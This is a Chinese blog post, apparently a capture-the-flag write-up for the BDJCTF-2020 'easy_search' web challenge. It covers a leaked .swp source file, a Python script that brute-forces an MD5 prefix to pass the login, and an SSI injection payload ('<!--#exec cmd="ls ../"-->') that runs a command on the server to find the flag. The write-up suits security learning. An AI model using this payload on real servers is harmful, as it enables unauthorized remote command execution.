【原创】记一次ctf实战—— BDJCTF-2020-Web-easy_search

进去看看

这题太花哨了弱口令,sql无果后爆破一下子域名

这里提个醒原生的dirsearch或是御剑都没有index.php.swp这项检测这也是爆破无果后

看别人的文章才知道的

如果是用dirsearch探查则需要在当前文件目录下的db文件夹dicc.txt文件进行添加

好我们继续看题

使用curl查看index.php代码

<?php
        ob_start();
        function get_hash(){
                $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
                $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
                $content = uniqid().$random;
                return sha1($content);
        }
    header("Content-Type: text/html;charset=utf-8");
        ***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
                        ***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
                        echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
    }else
    {
        ***
    }
        ***
?>

审计

这里很重要

意思就是uesrname不为空就用md5加密password的前6位值与6d0bc1做比较

相等就会输出一个带shtml后缀的的git地址

所以重点在于password,username则不为空就行我们用脚本试试看

网上找的还不是很理解也是第一次知道这个库

import hashlib
def md5(s):
    return hashlib.md5(s.encode('utf-8')).hexdigest()
for i in range(1, 10000000):
    if md5(str(i)).startswith('6d0bc1'):
        print(i)
        break
2020666

拿去试试

正确弹出,我们继续访问

重点,我们输入的username有回显

那么可以以此来爆出目录 ls

这里要用到ssi注入

可以参考一下这篇文章:https://blog.csdn.net/qq_40657585/article/details/84260844

爆出目录

这里需要注意一下因为前面服务器已经接收了asd,所以我们需要在主页面重新写一下

就像这样

<!--#exec cmd="ls ../"-->

访问即可得到flag

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇